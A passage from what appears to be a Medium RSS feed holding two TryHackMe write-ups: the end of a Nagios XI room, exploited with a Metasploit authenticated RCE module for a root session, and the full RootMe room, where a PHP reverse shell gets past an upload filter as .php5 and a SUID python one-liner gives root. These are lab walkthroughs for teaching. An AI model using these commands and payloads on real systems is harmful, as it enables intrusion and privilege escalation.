src="https://cdn-images-1.medium.com/max/1011/1*BDHS6Ez5eN5IDQLYtotTEQ.png" /><figcaption>Exporting the File in the Raw Data Format</figcaption></figure><ul><li>To work with <strong><em>npiet</em></strong> locally, the source code can be downloaded from this <a href="https://www.bertnase.de/npiet/"><strong><em>site</em></strong></a> or use the wget command:</li></ul><pre>wget https://www.bertnase.de/npiet/npiet-1.3f.tar.gz</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*S2_jfmr26bi1KXjzvud6vg.png" /><figcaption>Downloading npiet tool locally</figcaption></figure><ul><li>Once the source code is downloaded, extract the archive then configure the program using ./configure script and compile the program by running the make command in the extracted directory.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*In_qK2SlLmsveH2sItUd0w.png" /><figcaption>Configuring the npiet Tool</figcaption></figure><ul><li>While running make, you may encounter <strong><em>warnings</em></strong> and <strong><em>errors</em></strong>; these can generally be ignored as they do not impact the functionality of the tool as long as the npiet script was generated.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Jo2o_Ve8Tv68h-ehLJm3Pg.png" /><figcaption>Compiling the Program using make command and Interpreting the PPM File</figcaption></figure><ul><li>With the tool compiled, use the following command to interpret the <strong><em>PPM</em></strong> file created from the original <strong><em>PNG. </em></strong>Remember to provide accurate path to your <strong><em>.ppm</em></strong> image file:</li></ul><pre>./npiet -e 500 ../PI3T.ppm</pre><ul><li>The above command sets the execution steps to 500. To obtain a more comprehensive result, you can increase the number of execution steps to 1000 :</li></ul><pre>./npiet -e 1000 ../PI3T.ppm</pre><ul><li>Experimenting with different execution step values can sometimes yield additional clarity in the output.</li><li>After processing the file, the <em>username</em> and <em>password </em>were successfully extracted from the output. These results matched those obtained using the <strong><em>npiet </em></strong>online tool.</li><li>Using the credentials, obtained an attempt to establish an <strong><em>SSH</em></strong> connection to the target machine was unsuccessful.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*I0wUN7sDGJcbMUT7kZYJPA.png" /><figcaption>SSH’ing to the Target Machine</figcaption></figure><h4>Identifying the Vulnerability</h4><ul><li>Recalling the presence of a Nagios XI<strong><em> </em></strong>login page <a href="http://10.10.109.255/index.php">http://10.10.109.255/index.php</a>, it was time to test the credentials there. The credentials were valid, granting access to the application.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3nxG9TdXzjOAAoW5NRu90w.png" /><figcaption>Using the Credentials on the Nagios XI Login Page</figcaption></figure><ul><li>Upon logging in, there was a prompt to upgrade to the latest version of Nagios XI, and the version displayed in the bottom-left corner confirmed it as Nagios XI 5.5.6.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*L8e4QTR4ZiCf01Cgmi0WLg.png" /><figcaption>Obtaining Nagios XI Version Number</figcaption></figure><ul><li>A quick enumeration of the available options on the web-interface provided no other relevant information.</li><li>To begin vulnerability assessment, searchsploit was used to identify potential vulnerabilities associated with Nagios XI.</li><li>searchsploit provides access to a vast repository of publicly available exploits. Think of it as the commandline utility variant of <strong><em>ExploitDB</em></strong></li></ul><pre>searchsploit Nagios XI</pre><ul><li>The search yielded a significant number of results, highlighting various known vulnerabilities tied to Nagios XI. One that stood out was associated to Metasploit — <strong><em>Authenticated Remote Command Execution (Metasploit).</em></strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7LeYx0i7oAPx4O7KUejVAQ.png" /><figcaption>SearchSploit Results</figcaption></figure><ul><li>Performing a google search landed us on ExploitDB where the CVE-2019–15949 identifier associated with the vulnerability was confirmed.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6YWDzJ6T80nzvv6P0_7xGQ.png" /><figcaption>Exploit Database CVE details on the Vulnerability</figcaption></figure><ul><li>Recognizing the potential for an exploit, <strong><em>Metasploit</em></strong> was launched for further investigation. Launch the tool in quiet mode (<em>Without displaying the banner</em>)using:</li></ul><pre>msfconsole -q</pre><ul><li>With Metasploit running, we searched for the exploit using:</li></ul><pre>search Nagios XI</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gX_O4C0IN-mgWIKIYtkzGQ.png" /><figcaption>Searching for the exploit on Metasploit</figcaption></figure><ul><li>From the results, the exploit specific to <strong><em>Nagios XI — Authenticated Remote Command Execution</em></strong>, was identified based on the hints and earlier research.</li><li>To filter down the results using the known details:</li></ul><pre>search cve:2019 type:exploit Nagios XI</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ET5_p9u750TOE7GZDMwJcw.png" /><figcaption>Filtered Results</figcaption></figure><ul><li>Once the appropriate exploit is identified, detailed information can be viewed using:</li></ul><pre>info 0</pre><ul><li>0 denoting the id of the exploit as indicated by the screenshot above.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/602/1*df0zuizQnsCOE1Y3DpwmvQ.png" /><figcaption>Detailed Exploit Information</figcaption></figure><ul><li>To initiate the exploitation process, the module was loaded using:</li></ul><pre>use exploit/linux/http/nagios_xi_plugins_check_plugin_authenticated_rce</pre><ul><li>The module options were configured, which required setting the following parameters:</li></ul><pre>use exploit/linux/http/nagios_xi_plugins_check_plugin_authenticated_rce<br>set PASSWORD n3p3UQ&amp;9BjLp4$7uhWdY<br>set RHOSTS &lt;target_ip&gt;<br>set LHOST &lt;your_ip&gt;<br>run</pre><ul><li>USERNAME: The username obtained earlier</li><li>PASSWORD: The corresponding password</li><li>RHOSTS: The target machine’s IP address</li><li>RPORT: The port where <strong><em>Nagios XI</em></strong> is running (default: 80), which is okay by us</li><li>TARGETURI: The URI path for <strong><em>Nagios XI</em></strong></li><li>Additionally, the payload options were set</li><li>LHOST: Our local IP address</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9MZn5BZ2KOfDmYwZpv_POw.png" /><figcaption>Obtaining Local IP address</figcaption></figure><ul><li>LPORT: Local listening port</li><li>Some values had suitable defaults, simplifying the setup.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Y-4xVV4uzKDEzcOueGRgbQ.png" /><figcaption>Module and Payload Options</figcaption></figure><ul><li>With the module fully configured, the exploit was executed using the run command.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QsXd05pbLAP8BmFhVVFN5w.png" /><figcaption>Setting up the Exploit</figcaption></figure><ul><li>After obtaining the meterpreter session, getuid was used to verify the identity of the user associated with the session, and amazingly it was a root user, hurrah🥳.</li><li>The shell command was used to acquire basic command-line functionality.</li><li>For smoother and more interactive terminal experience, <strong><em>Python</em></strong> was leveraged to spawn a fully interactive bash shell.</li></ul><pre>python -c &#39;import pty; pty.spawn(&quot;/bin/bash&quot;)&#39;</pre><h4>Flag Hunting</h4><ul><li>After obtaining an interactive shell, since we know the name of the user flag, find command was used to locate the file and read its content:</li></ul><pre>sudo find / -type f -name &quot;user.txt&quot; -exec cat {} \;</pre><ul><li>The command can also be used to locate the root flag file:</li></ul><pre>sudo find / -type f -name &quot;root.txt&quot; -exec cat {} \;</pre><ul><li>You can do further enumeration, but for this room, we are done and dusted! And with that guys, we’ve ‘naxed’ the room😂</li></ul><p>And there you have it — another adventure in the land of puzzles, periodic tables, and colorful PNGs. Who knew that hacking could involve so much chemistry? It’s like being in a spy movie, but instead of cracking safes, we’re cracking atomic numbers into ASCII characters. And let’s not forget our trusty sidekick, Metasploit, always ready to deliver the final blow to vulnerable systems like a cyber ninja.</p><p>At the end of it all, we got the flags, uncovered the secrets, and proved that even a seemingly innocent Nagios XI login page can hide a treasure trove of exploits. So, whether you’re hunting vulnerabilities or just trying to figure out why Piet Mondrian has a programming language named after him, remember: hacking is equal parts art and science.</p><p>Now, go forth, and may your exploits be fruitful and your code always compile. Just don’t forget to patch your own systems — because karma’s a CVE waiting to happen! 😉Till vulnerability next door makes its move. Adios.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=34268ef53262" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe: RootMe]]></title>
            <link>https://medium.com/@natius/tryhackme-rootme-5a558592af29?source=rss-2b663cf34d6------2</link>
            <guid isPermaLink="false">https://medium.com/p/5a558592af29</guid>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[privilege-escalation]]></category>
            <category><![CDATA[linux]]></category>
            <dc:creator><![CDATA[Natius]]></dc:creator>
            <pubDate>Sun, 05 Jan 2025 12:07:45 GMT</pubDate>
            <atom:updated>2025-01-12T09:59:05.558Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*O5pvlAXY7wofwYLz39Un8Q.jpeg" /><figcaption>RootMe Room</figcaption></figure><p>Embarking on a TryHackMe room like <a href="https://tryhackme.com/r/room/rrootme">RootMe</a> is akin to entering a digital escape room — a blend of curiosity, logic, and the sheer thrill of uncovering hidden paths. Whether you are sharpening your cybersecurity skills or indulging in a hacker’s playground, this room offers an engaging challenge to flex your offensive security muscles. Let’s dive into this journey step by step and maybe, along the way, you’ll pick up a few nifty tricks.</p><h3>Task 1: Deploy the machine</h3><p><strong>Getting Started</strong></p><ul><li>First, connect to TryHackMe’s network using <strong><em>OpenVPN. </em></strong>Download the VPN configuration file from the platform and execute the following command:</li></ul><pre>sudo openvpn &lt;open_vpn_configuration_file.ovpn&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Hipau3QCch21Ec-30Q6c3g.png" /><figcaption>Connecting to TryHackMe Using OpenVPN</figcaption></figure><p>Once connected, deploy the RootMe machine. Your adventure is about to begin!</p><h3>Task 2: Reconnaissance</h3><p>Reconnaissance is the art of gathering information. Like Sherlock Holmes piecing together clues, the task at hand is to analyze the target.</p><h4>Question 1: Scan the machine, how many ports are open?</h4><p>Prepare the Workspace</p><ul><li>We need to keep things organized. So, Create a dedicated directory for this room and navigate to that directory:</li></ul><pre>mkdir -p THM/RootMe &amp;&amp; cd THM/RootMe<br>mkdir nmap</pre><ul><li>Conduct an <strong><em>Nmap</em></strong> scan to uncover open ports and running services:</li></ul><pre>sudo nmap -sC -sV -oA nmap/rootme &lt;target_ip&gt;</pre><p><em>Answer: 2 [22/tcp open ssh, 80/tcp open http]</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ISfJy9bggEEiNF12V7H-vA.png" /><figcaption>Scanning the Network</figcaption></figure><h4>Question 2: What version of Apache is running?</h4><p><em>Answer: Apache http 2.4.29 ((Ubuntu))</em></p><h4>Question 3: What service is running on port 22?</h4><p><em>Answer: 22/tcp open ssh</em></p><h4>Question 4: Find directories on the web server using the GoBuster tool.</h4><ul><li>Knowing port 80 hosts a web server, it’s time to hunt for hidden directories:</li><li>Viewing the page source: nothing interesting😞</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WKVamncy-hp9fKgxlL3Qnw.png" /><figcaption>Viewing the Page Source</figcaption></figure><ul><li>If you don’t have <strong><em>Gobuster </em></strong>tool:</li></ul><pre>sudo apt install gobuster</pre><pre>gobuster dir -u http://&lt;target_ip&gt;/ -w &lt;wordlist&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZumrcAlJjKzFMVrLzc7xmA.png" /><figcaption>Enumerating Hidden Directories</figcaption></figure><p>Interesting directories found:</p><ul><li>/js</li><li>/panel</li><li>/uploads</li></ul><p>Exploring the directories:</p><ul><li>/js : Nothing relevant.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nnxthgZX0M4MV8JrwwtIhQ.png" /><figcaption>/js</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4iM1VG42u17vuYMl1hAUyg.png" /><figcaption>/js/maquina_de_escrever.js</figcaption></figure><ul><li>/panel : A file upload form — intriguing!</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0_GTBJ4-4MToAY4VcXdWaA.png" /><figcaption>File Upload Form on /panel</figcaption></figure><ul><li>/uploads : A place to view uploaded files.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*C6bHFjrY0t5e92l0AzSg9g.png" /><figcaption>/uploads</figcaption></figure><h4>Question 5: What is the hidden directory?</h4><p><em>Answer: /panel</em></p><h3>Task 3: Getting a shell</h3><p>The fun escalates here. Your goal: gain a foothold by exploiting the file upload functionality.</p><p><strong>Searching for a payload</strong></p><ul><li>Searching for a <strong><em>PHP reverse shell, </em></strong>I bumped into this site <a href="https://github.com/pentestmonkey/php-reverse-shell">https://github.com/pentestmonkey/php-reverse-shell</a> where I found a PHP reverse shell script, kudos to <strong><em>pentestmonkey</em></strong>.</li></ul><p><strong>Download the script</strong></p><pre>wget https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/refs/heads/master/php-reverse-shell.php</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9hBx57DR5oyY-VGGWNM7-g.png" /><figcaption>Downloading the PHP Reverse Shell Script</figcaption></figure><ul><li>Edit the script to include your <strong><em>IP address</em></strong> (<em>tun0 interface</em>) and a listening <strong><em>port</em></strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ti3QHvRr0f23SnUpVHZTdg.png" /><figcaption>Getting your IP address</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*S401sipgfop5EoCz5J5b3A.png" /><figcaption>Editing your IP address and Listening Port</figcaption></figure><ul><li>Start a listener on your machine:</li></ul><pre>nc -lvnp &lt;listening_port&gt;</pre><p><strong>Upload Bypass</strong></p><ul><li>The file upload form blocks .php files. The server throws a curveball with an error message that translates to “<strong><em>PHP is not allowed!</em></strong>” in Spanish, since I am the “<strong><em>no hablo español</em></strong>” guy, I had to google it😅.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iYZFZ5_DYNP-qNcYDrhZVQ.png" /><figcaption>Error Generated when Uploading .php files</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*P0PPmyuO9iypQ3hq8R2JPA.png" /><figcaption>English Translation!</figcaption></figure><ul><li>Trying .php3 uploaded successfully. Refreshing the /uploads URL, you can see the uploaded files.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*P95kW64PGIJNkWLcWRZqZA.png" /><figcaption>Uploading a .php3 file</figcaption></figure><ul><li>However, clicking on the file to execute it and obtain a reverse shell results in a weird error, and no reverse shell is triggered.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kh-liOEWIuBCXojtX4k9gw.png" /><figcaption>Error Resulting from executing .php3 file</figcaption></figure><ul><li>Repeated the process for .php3 and .php4, but no luck.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vfwclcQLFbBuFuZs-B-vJw.png" /><figcaption>Changing php extensions</figcaption></figure><ul><li>Finally, uploading and executing an exploit file with .php5 extension, triggered a reverse shell. Hurray🥳.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/602/1*qhbr5p3OYAhfTv90CiQrPQ.png" /><figcaption>Uploading .php5 file</figcaption></figure><ul><li>Upon execution of the file with a .php5 extension a shell appears.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/602/1*4yBO57jTj-0ipiJ5t49a8w.png" /><figcaption>Gaining a Reverse Shell and Performing basic enumeration</figcaption></figure><ul><li>Enumerate the system to locate the first flag.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/1*6EVuXcVJLS_6MHAP1OgPEA.png" /><figcaption>Listing the contents of the /home directory</figcaption></figure><ul><li>Since we already know the name of the <strong><em>user flag file</em></strong>, we can use find command to locate it:</li></ul><pre>find / -type f -name user.txt 2&gt;/dev/null</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dbr8n8YB18wKMZpMfusbZA.png" /><figcaption>Locating and Revealing the user flag</figcaption></figure><h3>Task 4: Privilege Escalation</h3><p>Privilege escalation is the art of gaining high-level access to a machine.</p><h4>Question 1: Search for files with SUID permission, which file is weird?</h4><ul><li>Trying to access the /root folder, we’re greeted with an error indicating we don’t have the required privileges. We need to get our sleeves up and get those <strong><em>“groot”</em></strong> privileges😂 Ooops I meant <strong><em>root</em></strong>!</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MNzcy3s0oa0Dn3NfpAMfdg.png" /><figcaption>Limited Privileges</figcaption></figure><p><strong>SUID Enumeration:</strong></p><pre>find / -type f -user root -perm -04000 -ls 2&gt;/dev/null</pre><ul><li>An interesting result appears: /usr/bin/python</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-kBL-9bClCr1jm497888CQ.png" /><figcaption>SUID Enumeration</figcaption></figure><ul><li>We can also use a Bash Script like LinEnum.sh to enumerate potential vulnerabilities. To get started:</li><li>We need to download the script (Github repo: <a href="https://github.com/rebootuser/LinEnum">https://github.com/rebootuser/LinEnum</a>)</li></ul><pre>wget https://raw.githubusercontent.com/rebootuser/LinEnum/refs/heads/master/LinEnum.sh  </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fuhHkDa8c7Zzc5a1hDZvcA.png" /><figcaption>Downloading LinEnum.sh Script</figcaption></figure><ul><li>We then need to copy the file to the target machine.</li><li>In this case, we have wget utility on the target.</li><li>Set up a <strong><em>Simple Python Web Server </em></strong>on the attacker machine and make sure you are on the directory with which you downloaded LinEnum.sh shell script.</li><li>Download the file on the target machine and give it executable permissions</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XisKDhb6_9WW7k3UkJuosw.png" /><figcaption>Downloading LinEnum.sh Script on the Target machine</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mXghguabI2FwcoqrnDAgEA.png" /><figcaption>Hosting a Simple Python Web Server</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/919/1*x3lyGD2Rv0WHgsDdJazvdA.png" /><figcaption>Executing the LinEnum.sh Script on the target</figcaption></figure><ul><li>The output confirms the interesting file /usr/bin/python as a potential vector for privilege escalation.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tbUL0beFwhqi-R_5TgZy5A.png" /><figcaption>LinEnum.sh Output</figcaption></figure><h4>Question 2: Find a form to escalate your privileges.</h4><ul><li>Referencing <a href="https://gtfobins.github.io/gtfobins/python/">GTFOBins</a>, use python to escalate privileges:</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9db074lBDNo7Lfb0KDxqIQ.png" /><figcaption>Privilege Escalation PoC from GTFOBins</figcaption></figure><pre>python -c &#39;import os; os.execl(&quot;/bin/sh&quot;, &quot;sh&quot;, &quot;-p&quot;)&#39;</pre><ul><li>Executing this command grants root privileges.</li></ul><h4>Question 3: root.txt</h4><ul><li>Navigate to the /root directory to find the <strong><em>root.txt</em></strong> flag:</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WHQn5VX3GPCj8WHmzvDExQ.png" /><figcaption>Escalating Privileges and Obtaining the root flag</figcaption></figure><p>Rooting a machine like this is not just a technical feat but a mental workout. From reconnaissance to privilege escalation, every step is a puzzle piece fitting into a larger picture. <strong><em>RootMe</em></strong> teaches patience, resourcefulness and the beauty of persistence.</p><p>And let’s face it, the journey from scratching your head over PHP upload errors to shouting “I’m root!”🤣 is nothing short of exhilarating. Along the way, you might find yourself cursing restrictive upload filters, and wondering why your reverse shell won’t call you back.</p><p>Remember: hacking is not just about breaking things — it’s about understanding systems, solving problems, and thinking creatively. So take a bow, you’ve earned it. Now go grab a cup of coffee, bask in your newfound root privileges, and plot your next adventure. Who knows, maybe the next machine will be less forgiving… or even more fun! Cheers to hacking responsibly and having a blast while at it! I’m groot😎</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5a558592af29" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>